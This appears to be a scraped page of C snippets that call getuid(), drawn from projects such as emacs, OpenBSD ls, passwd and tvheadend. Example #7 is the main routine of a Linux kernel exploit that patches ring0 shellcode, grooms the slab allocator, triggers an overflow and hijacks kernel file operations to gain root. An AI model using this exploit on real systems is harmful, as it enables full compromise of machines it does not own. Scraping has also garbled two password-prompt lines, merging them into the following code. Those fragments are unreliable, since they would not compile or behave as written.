示例#1
0
文件: pop.c 项目: briprowe/emacs
/*
 * Function: pop_open (char *host, char *username, char *password,
 * 		       int flags)
 *
 * Purpose: Establishes a connection with a post-office server, and
 * 	completes the authorization portion of the session.
 *
 * Arguments:
 * 	host	The server host with which the connection should be
 * 		established.  Optional.  If omitted, internal
 * 		heuristics will be used to determine the server host,
 * 		if possible.
 * 	username
 * 		The username of the mail-drop to access.  Optional.
 * 		If omitted, internal heuristics will be used to
 * 		determine the username, if possible.
 * 	password
 * 		The password to use for authorization.  If omitted,
 * 		internal heuristics will be used to determine the
 * 		password, if possible.
 * 	flags	A bit mask containing flags controlling certain
 * 		functions of the routine.  Valid flags are defined in
 * 		the file pop.h
 *
 * Return value: Upon successful establishment of a connection, a
 * 	non-null popserver will be returned.  Otherwise, null will be
 * 	returned, and the string variable pop_error will contain an
 * 	explanation of the error.
 */
popserver
pop_open (char *host, char *username, char *password, int flags)
{
  int sock;
  popserver server;

  /* Determine the user name */
  if (! username)
    {
      username = getenv ("USER");
      if (! (username && *username))
	{
	  username = getlogin ();
	  if (! (username && *username))
	    {
	      struct passwd *passwd;
	      passwd = getpwuid (getuid ());
	      if (passwd && passwd->pw_name && *passwd->pw_name)
		{
		  username = passwd->pw_name;
		}
	      else
		{
		  strcpy (pop_error, "Could not determine username");
		  return (0);
		}
	    }
	}
    }

  /*
   *  Determine the mail host.
   */

  if (! host)
    {
      host = getenv ("MAILHOST");
    }

#ifdef HESIOD
  if ((! host) && (! (flags & POP_NO_HESIOD)))
    {
      struct hes_postoffice *office;
      office = hes_getmailhost (username);
      if (office && office->po_type && (! strcmp (office->po_type, "POP"))
	  && office->po_name && *office->po_name && office->po_host
	  && *office->po_host)
	{
	  host = office->po_host;
	  username = office->po_name;
	}
    }
#endif

#ifdef MAILHOST
  if (! host)
    {
      host = MAILHOST;
    }
#endif

  if (! host)
    {
      strcpy (pop_error, "Could not determine POP server");
      return (0);
    }

  /* Determine the password */
#ifdef KERBEROS
#define DONT_NEED_PASSWORD (! (flags & POP_NO_KERBEROS))
#else
#define DONT_NEED_PASSWORD 0
#endif

  if ((! password) && (! DONT_NEED_PASSWORD))
    {
      if (! (flags & POP_NO_GETPASS))
	{
	  password = getpass ("Enter POP password:"******"Could not determine POP password");
	  return (0);
	}
    }
  if (password)			/* always true, detected 20060515 */
    flags |= POP_NO_KERBEROS;
  else
    password = username;	/* dead code, detected 20060515 */
  /** "kpop" service is  never used: look for 20060515 to see why **/

  sock = socket_connection (host, flags);
  if (sock == -1)
    return (0);

  server = (popserver) malloc (sizeof (struct _popserver));
  if (! server)
    {
      strcpy (pop_error, "Out of memory in pop_open");
      return (0);
    }
  server->buffer = (char *) malloc (GETLINE_MIN);
  if (! server->buffer)
    {
      strcpy (pop_error, "Out of memory in pop_open");
      free ((char *) server);
      return (0);
    }

  server->file = sock;
  server->data = 0;
  server->buffer_index = 0;
  server->buffer_size = GETLINE_MIN;
  server->in_multi = 0;
  server->trash_started = 0;

  if (getok (server))
    return (0);

  /*
   * I really shouldn't use the pop_error variable like this, but....
   */
  if (strlen (username) > ERROR_MAX - 6)
    {
      pop_close (server);
      strcpy (pop_error,
	      "Username too long; recompile pop.c with larger ERROR_MAX");
      return (0);
    }
  sprintf (pop_error, "USER %s", username);

  if (sendline (server, pop_error) || getok (server))
    {
      return (0);
    }

  if (strlen (password) > ERROR_MAX - 6)
    {
      pop_close (server);
      strcpy (pop_error,
	      "Password too long; recompile pop.c with larger ERROR_MAX");
      return (0);
    }
  sprintf (pop_error, "PASS %s", password);

  if (sendline (server, pop_error) || getok (server))
    {
      return (0);
    }

  return (server);
}
示例#2
0
int mi_look_for_free_vt()
{/* Code from Allegro. */
 int tty, console_fd, fd;
 unsigned short mask;
 char tty_name[16];
 struct vt_stat vts; 

 /* Now we need to find a VT we can use.  It must be readable and
  * writable by us, if we're not setuid root.  VT_OPENQRY itself
  * isn't too useful because it'll only ever come up with one 
  * suggestion, with no guarrantee that we actually have access 
  * to it.
  *
  * At some stage I think this is a candidate for config
  * file overriding, but for now we'll stat the first N consoles
  * to see which ones we can write to (hopefully at least one!),
  * so that we can use that one to do ioctls.  We used to use 
  * /dev/console for that purpose but it looks like it's not 
  * always writable by enough people.
  *
  * Having found and opened a writable device, we query the state
  * of the first sixteen (fifteen really) consoles, and try 
  * opening each unused one in turn.
  */

 console_fd=open("/dev/console",O_WRONLY);
 if (console_fd<0)
   {
    int n;
    /* Try some ttys instead... */
    for (n=1; n<=24; n++)
       {
        snprintf(tty_name,sizeof(tty_name),"/dev/tty%d",n);
        console_fd=open(tty_name,O_WRONLY);
        if (console_fd>=0)
           break;
       }
    if (n>24)
       return -1;
   }

 /* Get the state of the console -- in particular, the free VT field */
 if (ioctl(console_fd,VT_GETSTATE,&vts))
    return -2;
 close(console_fd);

 /* We attempt to set our euid to 0; if we were run with euid 0 to
  * start with, we'll be able to do this now.  Otherwise, we'll just
  * ignore the error returned since it might not be a problem if the
  * ttys we look at are owned by the user running the program. */
 seteuid(0);

 /* tty0 is not really a console, so start counting at 2. */
 fd=-1;
 for (tty=1, mask=2; mask; tty++, mask<<=1)
     if (!(vts.v_state & mask))
       {
        snprintf(tty_name,sizeof(tty_name),"/dev/tty%d",tty);
        fd=open(tty_name,O_RDWR);
        if (fd!=-1)
          {
           close(fd);
           break;
          }
       }

 seteuid(getuid());

 if (!mask)
    return -3;

 return tty;
}
示例#3
0
文件: daemonize.c 项目: D3fy/pingd
int daemonize(const char *pidfile, const char *user, const char *group)
{
	umask(0);

	int n;
	int rc;
	int fd = -1;
	if (pidfile) {
		fd = open(pidfile, O_RDWR|O_CREAT, S_IRUSR|S_IWUSR);
		if (fd == -1) {
			perror(pidfile);
			exit(2);
		}
	}

	errno=0;
	struct passwd *pw = getpwnam(user);
	if (!pw) {
		fprintf(stderr, "Failed to look up user '%s': %s\n",
				user, (errno == 0 ? "user not found" : strerror(errno)));
		exit(2);
	}

	errno = 0;
	struct group  *gr = getgrnam(group);
	if (!gr) {
		fprintf(stderr, "Failed to look up group '%s': %s\n",
				group, (errno == 0 ? "group not found" : strerror(errno)));
		exit(2);
	}

	/* clean up the environment */
	const char *keepers[] = { "LANG", "SHLVL", "_", "PATH", "SHELL", "TERM" };
	rc = cleanenv(6, keepers);
	assert(rc == 0);

	setenv("PWD",     "/",                           1);
	setenv("HOME",    pw->pw_dir,                    1);
	setenv("LOGNAME", pw->pw_name,                   1);
	setenv("USER",    pw->pw_name,                   1);

	/* chdir to fs root to avoid tying up mountpoints */
	rc = chdir("/");
	assert(rc == 0);

	/* child -> parent error communication pipe */
	int pfds[2];
	rc = pipe(pfds);
	assert(rc == 0);

	/* fork */
	pid_t pid = fork();
	assert(pid >= 0);

	if (pid > 0) {
		close(pfds[1]);
		char buf[8192];
		while ( (n = read(pfds[0], buf, 8192)) > 0) {
			buf[n] = '\0';
			fprintf(stderr, "%s", buf);
		}
		exit(0);
	}
	close(pfds[0]);
	char error[8192];

	if (pidfile) {
		struct flock lock;
		int n;

		lock.l_type   = F_WRLCK;
		lock.l_whence = SEEK_SET;
		lock.l_start  = 0;
		lock.l_len    = 0; /* whole file */

		rc = fcntl(fd, F_SETLK, &lock);
		if (rc == -1) {
			snprintf(error, 8192, "Failed to acquire lock on %s.%s\n",
					pidfile,
					(errno == EACCES || errno == EAGAIN
						? "  Is another copy running?"
						: strerror(errno)));
			n = write(pfds[1], error, strlen(error));
			if (n < 0)
				perror("failed to inform parent of our error condition");
			if ((size_t) n < strlen(error))
				fprintf(stderr, "child->parent inform - only wrote %li of %li bytes\n",
					(long)n, (long)strlen(error));
			exit(2);
		}
	}

	/* leave session group, lose the controlling term */
	rc = (int)setsid();
	assert(rc != -1);

	if (pidfile) {
		/* write the pid file */
		char buf[8];
		snprintf(buf, 8, "%i\n", getpid());
		n = write(fd, buf, strlen(buf));
		if (n < 0)
			perror("failed to write PID to pidfile");
		if ((size_t) n < strlen(buf))
			fprintf(stderr, "only wrote %li of %li bytes to pidfile\n",
				(long)n, (long)strlen(error));
		rc = fsync(fd);
		assert(rc == 0);

		if (getuid() == 0) {
			/* chmod the pidfile, so it can be removed */
			rc = fchown(fd, pw->pw_uid, gr->gr_gid);
			assert(rc == 0);
		}
	}

	if (getuid() == 0) {
		/* set UID/GID */
		if (gr->gr_gid != getgid()) {
			rc = setgid(gr->gr_gid);
			assert(rc == 0);
		}
		if (pw->pw_uid != getuid()) {
			rc = setuid(pw->pw_uid);
			assert(rc == 0);
		}
	}

	/* redirect standard IO streams to/from /dev/null */
	if (!freopen("/dev/null", "r", stdin))
		perror("Failed to reopen stdin </dev/null");
	if (!freopen("/dev/null", "w", stdout))
		perror("Failed to reopen stdout >/dev/null");
	if (!freopen("/dev/null", "w", stderr))
		perror("Failed to reopen stderr >/dev/null");
	close(pfds[1]);

	return 0;
}
//-----------------------------------------------------------------------------
// Returns the pathname of the JSON file containing the stored profiles
String GetBaseOVRPath(bool create_dir)
{
    String path;

#if defined(OVR_OS_WIN32)

    TCHAR data_path[MAX_PATH];
    SHGetFolderPath(0, CSIDL_LOCAL_APPDATA, NULL, 0, data_path);
    path = String(data_path);
    
    path += "/Oculus";

    if (create_dir)
    {   // Create the Oculus directory if it doesn't exist
        WCHAR wpath[128];
        OVR::UTF8Util::DecodeString(wpath, path.ToCStr());

        DWORD attrib = GetFileAttributes(wpath);
        bool exists = attrib != INVALID_FILE_ATTRIBUTES && (attrib & FILE_ATTRIBUTE_DIRECTORY);
        if (!exists)
        {   
            CreateDirectory(wpath, NULL);
        }
    }
        
#elif defined(OVR_OS_MAC)

    const char* home = getenv("HOME");
    path = home;
    path += "/Library/Preferences/Oculus";

    if (create_dir)
    {   // Create the Oculus directory if it doesn't exist
        DIR* dir = opendir(path);
        if (dir == NULL)
        {
            mkdir(path, S_IRWXU | S_IRWXG | S_IRWXO);
        }
        else
        {
            closedir(dir);
        }
    }

#else

    passwd* pwd = getpwuid(getuid());
    const char* home = pwd->pw_dir;
    path = home;
    path += "/.config/Oculus";

    if (create_dir)
    {   // Create the Oculus directory if it doesn't exist
        DIR* dir = opendir(path);
        if (dir == NULL)
        {
            mkdir(path, S_IRWXU | S_IRWXG | S_IRWXO);
        }
        else
        {
            closedir(dir);
        }
    }

#endif

    return path;
}
示例#5
0
文件: ls.c 项目: a565109863/src
int
ls_main(int argc, char *argv[])
{
	static char dot[] = ".", *dotav[] = { dot, NULL };
	struct winsize win;
	int ch, fts_options, notused;
	int kflag = 0;
	char *p;

#ifndef SMALL
	setlocale(LC_CTYPE, "");
#endif

	/* Terminal defaults to -Cq, non-terminal defaults to -1. */
	if (isatty(STDOUT_FILENO)) {
		f_column = f_nonprint = 1;
	} else {
		f_singlecol = 1;
	}

	termwidth = 0;
	if ((p = getenv("COLUMNS")) != NULL)
		termwidth = strtonum(p, 1, INT_MAX, NULL);
	if (termwidth == 0 && ioctl(STDOUT_FILENO, TIOCGWINSZ, &win) == 0 &&
	    win.ws_col > 0)
		termwidth = win.ws_col;
	if (termwidth == 0)
		termwidth = 80;

	if (pledge("stdio rpath getpw", NULL) == -1)
		err(1, "pledge");

	/* Root is -A automatically. */
	if (!getuid())
		f_listdot = 1;

	fts_options = FTS_PHYSICAL;
	while ((ch = getopt(argc, argv, "1ACFHLRSTacdfghiklmnopqrstux")) != -1) {
		switch (ch) {
		/*
		 * The -1, -C and -l, -m, -n and -x options all override each
		 * other so shell aliasing works right.
		 */
		case '1':
			f_singlecol = 1;
			f_column = f_columnacross = f_longform = 0;
			f_numericonly = f_stream = 0;
			break;
		case 'C':
			f_column = 1;
			f_columnacross = f_longform = f_numericonly = 0;
			f_singlecol = f_stream = 0;
			break;
		case 'g':
			f_longform = 1;
			if (f_grouponly != -1)
				f_grouponly = 1;
			f_column = f_columnacross = f_singlecol = f_stream = 0;
			break;
		case 'l':
			f_longform = 1;
			f_grouponly = -1;	/* -l always overrides -g */
			f_column = f_columnacross = f_singlecol = f_stream = 0;
			break;
		case 'm':
			f_stream = 1;
			f_column = f_columnacross = f_longform = 0;
			f_numericonly = f_singlecol = 0;
			break;
		case 'x':
			f_columnacross = 1;
			f_column = f_longform = f_numericonly = 0;
			f_singlecol = f_stream = 0;
			break;
		case 'n':
			f_longform = 1;
			f_numericonly = 1;
			f_column = f_columnacross = f_singlecol = f_stream = 0;
			break;
		/* The -c and -u options override each other. */
		case 'c':
			f_statustime = 1;
			f_accesstime = 0;
			break;
		case 'u':
			f_accesstime = 1;
			f_statustime = 0;
			break;
		case 'F':
			f_type = 1;
			break;
		case 'H':
			fts_options |= FTS_COMFOLLOW;
			break;
		case 'L':
			fts_options &= ~FTS_PHYSICAL;
			fts_options |= FTS_LOGICAL;
			break;
		case 'R':
			f_recursive = 1;
			break;
		case 'f':
			f_nosort = 1;
			/* FALLTHROUGH */
		case 'a':
			fts_options |= FTS_SEEDOT;
			/* FALLTHROUGH */
		case 'A':
			f_listdot = 1;
			break;
		/* The -d option turns off the -R option. */
		case 'd':
			f_listdir = 1;
			f_recursive = 0;
			break;
		case 'h':
			f_humanval = 1;
			break;
		case 'i':
			f_inode = 1;
			break;
		case 'k':
			blocksize = 1024;
			kflag = 1;
			break;
		case 'o':
			f_flags = 1;
			break;
		case 'p':
			f_typedir = 1;
			break;
		case 'q':
			f_nonprint = 1;
			break;
		case 'r':
			f_reversesort = 1;
			break;
		case 'S':
			sortkey = BY_SIZE;
			break;
		case 's':
			f_size = 1;
			break;
		case 'T':
			f_sectime = 1;
			break;
		case 't':
			sortkey = BY_TIME;
			break;
		default:
			usage();
		}
	}
	argc -= optind;
	argv += optind;

	/*
	 * If both -g and -l options, let -l take precedence.
	 * This preserves compatibility with the historic BSD ls -lg.
	 */
	if (f_grouponly == -1)
		f_grouponly = 0;

	/*
	 * If not -F, -i, -l, -p, -S, -s or -t options, don't require stat
	 * information.
	 */
	if (!f_longform && !f_inode && !f_size && !f_type && !f_typedir &&
	    sortkey == BY_NAME)
		fts_options |= FTS_NOSTAT;

	/*
	 * If not -F, -d or -l options, follow any symbolic links listed on
	 * the command line.
	 */
	if (!f_longform && !f_listdir && !f_type)
		fts_options |= FTS_COMFOLLOW;

	/* If -l or -s, figure out block size. */
	if (f_longform || f_size) {
		if (!kflag)
			(void)getbsize(&notused, &blocksize);
		blocksize /= 512;
	}

	/* Select a sort function. */
	if (f_reversesort) {
		switch (sortkey) {
		case BY_NAME:
			sortfcn = revnamecmp;
			break;
		case BY_SIZE:
			sortfcn = revsizecmp;
			break;
		case BY_TIME:
			if (f_accesstime)
				sortfcn = revacccmp;
			else if (f_statustime)
				sortfcn = revstatcmp;
			else /* Use modification time. */
				sortfcn = revmodcmp;
			break;
		}
	} else {
		switch (sortkey) {
		case BY_NAME:
			sortfcn = namecmp;
			break;
		case BY_SIZE:
			sortfcn = sizecmp;
			break;
		case BY_TIME:
			if (f_accesstime)
				sortfcn = acccmp;
			else if (f_statustime)
				sortfcn = statcmp;
			else /* Use modification time. */
				sortfcn = modcmp;
			break;
		}
	}

	/* Select a print function. */
	if (f_singlecol)
		printfcn = printscol;
	else if (f_columnacross)
		printfcn = printacol;
	else if (f_longform)
		printfcn = printlong;
	else if (f_stream)
		printfcn = printstream;
	else
		printfcn = printcol;

	if (argc)
		traverse(argc, argv, fts_options);
	else
		traverse(1, dotav, fts_options);
	return (rval);
}
示例#6
0
void
pwlocal_process(const char *username, int argc, char **argv)
{
	struct passwd *pw;
	struct passwd old_pw;
	time_t old_change;
	int pfd, tfd;
	int min_pw_len = 0;
	int pw_expiry  = 0;
	int ch;
#ifdef LOGIN_CAP
	login_cap_t *lc;
#endif

	while ((ch = getopt(argc, argv, "l")) != -1) {
		switch (ch) {
		case 'l':
			/*
			 * Aborb the -l that may have gotten us here.
			 */
			break;

		default:
			usage();
			/* NOTREACHED */
		}
	}

	argc -= optind;
	argv += optind;

	switch (argc) {
	case 0:
		/* username already provided */
		break;
	case 1:
		username = argv[0];
		break;
	default:
		usage();
		/* NOTREACHED */
	}

	if (!(pw = getpwnam(username)))
		errx(1, "unknown user %s", username);

	uid = getuid();
	if (uid && uid != pw->pw_uid)
		errx(1, "%s", strerror(EACCES));

	/* Save the old pw information for comparing on pw_copy(). */
	old_pw = *pw;

	/*
	 * Get class restrictions for this user, then get the new password. 
	 */
#ifdef LOGIN_CAP
	if((lc = login_getclass(pw->pw_class)) != NULL) {
		min_pw_len = (int) login_getcapnum(lc, "minpasswordlen", 0, 0);
		pw_expiry  = (int) login_getcaptime(lc, "passwordtime", 0, 0);
		login_close(lc);
	}
#endif
#if 0
	printf("AAA: pw_expiry = %x\n", pw_expiry);
#endif
	pw->pw_passwd = getnewpasswd(pw, min_pw_len);
	old_change = pw->pw_change;
	pw->pw_change = pw_expiry ? pw_expiry + time(NULL) : 0;

	/*
	 * Now that the user has given us a new password, let us
	 * change the database.
	 */
	pw_init();
	tfd = pw_lock(0);
	if (tfd < 0) {
		warnx ("The passwd file is busy, waiting...");
		tfd = pw_lock(10);
		if (tfd < 0)
			errx(1, "The passwd file is still busy, "
			     "try again later.");
	}

	pfd = open(_PATH_MASTERPASSWD, O_RDONLY, 0);
	if (pfd < 0)
		pw_error(_PATH_MASTERPASSWD, 1, 1);

	pw_copy(pfd, tfd, pw, &old_pw);

	if (pw_mkdb(username, old_change == pw->pw_change) < 0)
		pw_error((char *)NULL, 0, 1);

	syslog(LOG_AUTH | LOG_INFO,
	       "user %s (UID %lu) successfully changed "
	       "the local password of user %s",
	       uid ? username : "******", (unsigned long)uid, username);
}
示例#7
0
int main(int argc, char *argv[])
{
  int peerx, peery,i;
  __u64 *patch;

  srvport = get_port();

  uid=getuid();
  gid=getgid();
  fops=get_fops_addr() + 64; 
  if(!fops)
  {
    __msg("[!!] Unable to locate symbols...\n");
    return 1;
  }

  __msg_f("[**] Patching ring0 shellcode with userspace addr: %p\n", ring0c);
  patch = (__u64*)(ring0 + CJUMP_OFF);
  *patch = (__u64)ring0c;

  __msg_f("[**] Using port: %d\n", srvport);
  __msg("[**] Getting slab info...\n");
  kmalloc_fd = get_kmalloc_fd();
  if(!get_total_object(kmalloc_fd)) 
    __fatal("[!!] Only SLUB allocator supported\n");
 

  __msg("[**] Mapping Segments...\n"); 
  __msg("[**] Trying mapping safe page...");
  if(do_mmap(STRUCT_PAGE, 1) < 0)
  {
    __msg("Page Protection Present (Unable to Map Safe Page)\n");
    __msg("[**] Mapping High Address Page (dont kill placeholder child)\n");
    if(do_mmap(STRUCT_PAGE_ALT, 1) < 0)
      __fatal_errno("mmap"); 

    cankill=0;  /* dont kill child owning unsafe fds.. */
    highpage=1; /* ssnmap in higher pages */
    zstream=STREAM_ZERO_ALT; 
  } 
  else
    __msg("Done\n");

  __msg("[**] Mapping Code Page... ");
  if(do_mmap(CODE_PAGE, 1) < 0)
    __fatal_errno("mmap");
  else
    __msg("Done\n");

  memcpy((void*)CODE_PAGE, ring0, sizeof(ring0));

  __msg("[**] Binding on CPU 0\n"); 
  bindcpu(); 

  __msg("[**] Start Server Thread..\n");
  child = start_listener();
  sleep(3); 
  
  do_socks(&server_s, zstream);
  for(i=0; i<7; i++)
  {
    close(g_array[8-1-i]);  
  }
  clr(1); 
  alloc_tioclinux(); // trigger overflow
  peerx = create_and_init();
  connect_peer(peerx, &server_s);
  peery = create_and_init();
  connect_peer(peery, &server_s);
  
  sleep(1);

  unsafe_fd[0] = peerx;
  unsafe_fd[1] = g_array[8];
  unsafe_fd[2] = peery;
  unsafe_fd[3] = g_array[9];
 
  __msg("\n"); 
  __msg_f("[**] Umapped end-to-end fd: %d\n", fd_zmap_srv); 
  __msg_f("[**] Unsafe  fd: ( ");

  for(i=0; i<4; i++)
    __msg_f("%d ", unsafe_fd[i]);
  __msg(")\n"); 
  

  __msg("[**] Hijacking fops...\n");
  overwrite_fops(fd_zmap_srv, &caddr, peery);

  /* if u get here.. something nasty happens...may crash..*/
  __free_stuff();
  __msg("[**] Exploit failed.. freezing process\n");
  kill(getpid(), SIGSTOP);
  return 0;
}
示例#8
0
/*
 * wfc_util_ffile_check_copy
 *
 * check whether pDestFName file exist if not it will copy from pSourceFName file
 *
 * return : it will return 0 if procedure is success
 *          or will return -1 if not.
 */
int wfc_util_ffile_check_copy(char *pDestFName, char *pSourceFName, mode_t mode, uid_t uID, gid_t gID)
{
#define WFC_BUFFER_SIZE 2048
	char buf[WFC_BUFFER_SIZE] = {0}; // Null terminated
	int srcfd, destfd;
	int nread;
	struct stat st;

	if (access(pDestFName, R_OK|W_OK) == 0) {
		if( stat( pDestFName, &st ) < 0 ) {
			wfc_util_log_error("Cannot stat the file \"%s\": %s", pDestFName, strerror(errno));
			return -1;
		}
		//check if config file has some data or is it empty due to previous errors
		if( st.st_size ) {
			return 0;
		}
	//else continue to write the config from default template.
	} else if (errno != ENOENT) {
		wfc_util_log_error("Cannot access \"%s\": %s", pDestFName, strerror(errno));
		return -1;
	}

	srcfd = open(pSourceFName, O_RDONLY);
	if (srcfd < 0) {
		wfc_util_log_error("Cannot open \"%s\": %s", pSourceFName, strerror(errno));
		return -1;
	}

	destfd = open(pDestFName, O_CREAT|O_WRONLY, mode);
	if (destfd < 0) {
		close(srcfd);
		wfc_util_log_error("Cannot create \"%s\": %s", pDestFName, strerror(errno));
		return -1;
	}

	while ((nread = read(srcfd, buf, WFC_BUFFER_SIZE-1)) != 0) {
		if (nread < 0) {
			wfc_util_log_error("Error reading \"%s\": %s", pSourceFName, strerror(errno));
			close(srcfd);
			close(destfd);
			unlink(pDestFName);
			return -1;
		}
		// WBT fix, according to manual, the number of bytes read can't be bigger than read_size. I don't know why WBT complains for this.
		if (nread < WFC_BUFFER_SIZE)
			buf[nread] = '\0';
		else {
			buf[WFC_BUFFER_SIZE-1] = '\0';
			nread = WFC_BUFFER_SIZE-1;
		}
		write(destfd, buf, nread);
	}

	close(destfd);
	close(srcfd);

	/* remove this code because of permission problem when it is accessed from "atd" having system permission. */
	{
	#ifndef CONFIG_LGE_WLAN_WIFI_PATCH
	uid_t uid = getuid();
	gid_t gid = getgid();
	wfc_util_log_error("Error changing group ownership (%d) of %s to %d: %s", gid, pDestFName, gID, strerror(errno));
	if (0 == uid) {
	#endif /* CONFIG_LGE_WLAN_WIFI_PATCH */
		if (chown(pDestFName, uID, gID) < 0) {
			wfc_util_log_error("Error changing group ownership of %s to %d: %s", pDestFName, gID, strerror(errno));
			unlink(pDestFName);
			return -1;
		}
	#ifndef CONFIG_LGE_WLAN_WIFI_PATCH
	} else {
		wfc_util_log_error("wfc_util_ffile_check_copy : we can not excute chown[uid = %d, gid = %d]", uid, getgid());
	}
	#endif /* CONFIG_LGE_WLAN_WIFI_PATCH */
	}

	return 0;
}
main()
{
	int count, sharedMem_id1, sharedMem_id2,rec_found;
	struct Student_Info *stdinfoptr;
	int *read_count_ptr;
	int semaphore_set;
	char StudentId[20];
	char Name[40];
	char address[50];
	char telephone[15];
	char password[10];
  	char validUser[10]="000\n";	
	/*Get id of shared memory segment id where we stored data*/
	sharedMem_id1=GetSharedMemoryId(KEY1, SEGSIZE1,0);
	sharedMem_id2=GetSharedMemoryId(KEY2, SEGSIZE2,0);
	
	/*attach this shared memory to pointer */
	stdinfoptr=(struct Student_Info *)shmat(sharedMem_id1,0,0);
	if(stdinfoptr <= (struct Student_Info *)(0)){
		perror("change: shmat while attaching shared memory with student info failed");
		exit(2);
	}
	
	read_count_ptr=(int *)shmat(sharedMem_id2,0,0);
	if(read_count_ptr == ((int *)-1)){
		perror("change: shmat while attaching shared memory with read_count failed");
		exit(2);
	}
	/* get id of semaphore set associated with SEMA_KEY*/
	semaphore_set=semget(SEMA_KEY, 0, 0);
	/*Verify if user is "Advisor"*/
	printf("\nPlease, enter your password:"******"Welcome dear Advisor!!");
		printf("\nEnter the student id to modify his/her record: ");
		fgets(StudentId,sizeof(StudentId),stdin);
		/*Acquire the shared memory to update*/
		Wait(semaphore_set,0);
		while(strlen(stdinfoptr->StudentId) != 0){
			if(strcmp(stdinfoptr->StudentId,StudentId)==0){
				rec_found=rec_found+1;
				/*Get new values for Name,address, telephone fields from advisor*/
				printf("\nYeah! Record is present for student id %s", StudentId);
				printf("\nAvailable information for %s\n Name: %s\n address: %s\n telephone: %s\n who modified: %s\n", stdinfoptr->StudentId,stdinfoptr->Name,stdinfoptr->address, stdinfoptr->telephone, stdinfoptr->whoModified);
				printf("\nPlease enter updated information for this student:");
				printf("\nName: ");
		                fgets(Name,sizeof(Name),stdin);
				printf("Address: ");
		                fgets(address,sizeof(address),stdin);
                		printf("Telephone no:");
		                fgets(telephone,sizeof(telephone),stdin);
				/*Update new values for corresponding student id in shared memory*/
				strcpy(stdinfoptr->Name, Name);
				strcpy(stdinfoptr->address, address);
				strcpy(stdinfoptr->telephone, telephone);
				strcpy(stdinfoptr->whoModified,(getpwuid(getuid()))->pw_name); 
			
				/*Indicate the successful update to user*/
				printf("\n\t Congratulations!! Record updated in shared memory for student id %s ", StudentId);
				printf("\t Updated information for %s\t Name: %s\t address: %s\t telephone: %s\t who modified: %s\n", stdinfoptr->StudentId,stdinfoptr->Name,stdinfoptr->address, stdinfoptr->telephone, stdinfoptr->whoModified);
				break;
			}
			/*Search for next student id if required student id is not found!*/
			stdinfoptr++;
		}
		if(rec_found<1){
			printf("\nSorry!!Student information NOT found for student id %s\n",StudentId);
		}	
	
	}
	/*If user is not an Advisor print invalid user */
	else{
		printf("Sorry!Invalid user password!\n");
		exit(3);
	} 		 
	sleep(10);
	/*Release resources to shared memory after successful update*/ 
	Signal(semaphore_set,0);
	exit(0);
}	
示例#10
0
文件: main.c 项目: Gujs/tvheadend
int
main(int argc, char **argv)
{
  int c;
  int forkaway = 0;
  FILE *pidfile;
  const char *pidpath = "/var/run/tvheadend.pid";
  struct group *grp;
  struct passwd *pw;
  const char *usernam = NULL;
  const char *groupnam = NULL;
  int logfacility = LOG_DAEMON;
  int createdefault = 0;
  sigset_t set;
  const char *homedir;
  const char *rawts_input = NULL;
  const char *join_transport = NULL;
  const char *confpath = NULL;
  char *p, *endp;
  uint32_t adapter_mask = 0xffffffff;
  int crash = 0;

  // make sure the timezone is set
  tzset();

  while((c = getopt(argc, argv, "Aa:fp:u:g:c:Chdr:j:s")) != -1) {
    switch(c) {
    case 'a':
      adapter_mask = 0x0;
      p = strtok(optarg, ",");
      if (p != NULL) {
        do {
          int adapter = strtol(p, &endp, 10);
          if (*endp != 0 || adapter < 0 || adapter > 31) {
              fprintf(stderr, "Invalid adapter number '%s'\n", p);
              return 1;
          }
          adapter_mask |= (1 << adapter);
        } while ((p = strtok(NULL, ",")) != NULL);
        if (adapter_mask == 0x0) {
          fprintf(stderr, "No adapters specified!\n");
          return 1;
        }
      } else {
        usage(argv[0]);
      }
      break;
    case 'A':
      crash = 1;
      break;
    case 'f':
      forkaway = 1;
      break;
    case 'p':
      pidpath = optarg;
      break;
    case 'u':
      usernam = optarg;
      break;
    case 'g':
      groupnam = optarg;
      break;
    case 'c':
      confpath = optarg;
      break;
    case 'd':
      log_debug_to_console = 1;
      break;
    case 's':
      log_debug_to_syslog = 1;
      break;
    case 'C':
      createdefault = 1;
      break;
    case 'r':
      rawts_input = optarg;
      break;
    case 'j':
      join_transport = optarg;
      break;
    default:
      usage(argv[0]);
    }
  }

  signal(SIGPIPE, handle_sigpipe);

  if(forkaway) {
    grp  = getgrnam(groupnam ?: "video");
    pw   = usernam ? getpwnam(usernam) : NULL;

    if(daemon(0, 0)) {
      exit(2);
    }
    pidfile = fopen(pidpath, "w+");
    if(pidfile != NULL) {
      fprintf(pidfile, "%d\n", getpid());
      fclose(pidfile);
    }

    if(grp != NULL) {
      setgid(grp->gr_gid);
    } else {
      setgid(1);
    }

    if (pw != NULL) {
      gid_t glist[10];
      int gnum = get_user_groups(pw, glist, 10);
      setgroups(gnum, glist);
      setuid(pw->pw_uid);
      homedir = pw->pw_dir;
      setenv("HOME", homedir, 1);
    } else {
      setuid(1);
    }

    umask(0);
  }

  log_stderr = !forkaway;
  log_decorate = isatty(2);

  sigfillset(&set);
  sigprocmask(SIG_BLOCK, &set, NULL);

  openlog("tvheadend", LOG_PID, logfacility);

  hts_settings_init(confpath);

  pthread_mutex_init(&ffmpeg_lock, NULL);
  pthread_mutex_init(&fork_lock, NULL);
  pthread_mutex_init(&global_lock, NULL);

  pthread_mutex_lock(&global_lock);

  time(&dispatch_clock);

  trap_init(argv[0]);
  
  /**
   * Initialize subsystems
   */

  service_init();

  channels_init();

  access_init(createdefault);

  tcp_server_init();
#if ENABLE_LINUXDVB
  dvb_init(adapter_mask);
#endif
  iptv_input_init();
#if ENABLE_V4L
  v4l_init();
#endif
  http_server_init();

  webui_init(tvheadend_dataroot());

  serviceprobe_init();

  cwc_init();

  capmt_init();

  epggrab_init();
  epg_init();

  dvr_init();

  htsp_init();

  ffdecsa_init();
  
  if(rawts_input != NULL)
    rawts_init(rawts_input);

  if(join_transport != NULL)
    subscription_dummy_join(join_transport, 1);

#ifdef CONFIG_AVAHI
  avahi_init();
#endif

  epg_updated(); // cleanup now all prev ref's should have been created

  pthread_mutex_unlock(&global_lock);


  /**
   * Wait for SIGTERM / SIGINT, but only in this thread
   */

  running = 1;
  sigemptyset(&set);
  sigaddset(&set, SIGTERM);
  sigaddset(&set, SIGINT);

  signal(SIGTERM, doexit);
  signal(SIGINT, doexit);

  pthread_sigmask(SIG_UNBLOCK, &set, NULL);

  tvhlog(LOG_NOTICE, "START", "HTS Tvheadend version %s started, "
	 "running as PID:%d UID:%d GID:%d, settings located in '%s', "
	 "dataroot: %s",
	 tvheadend_version,
	 getpid(), getuid(), getgid(), hts_settings_get_root(),
	 tvheadend_dataroot() ?: "<Embedded file system>");

  if(crash)
    abort();

  mainloop();

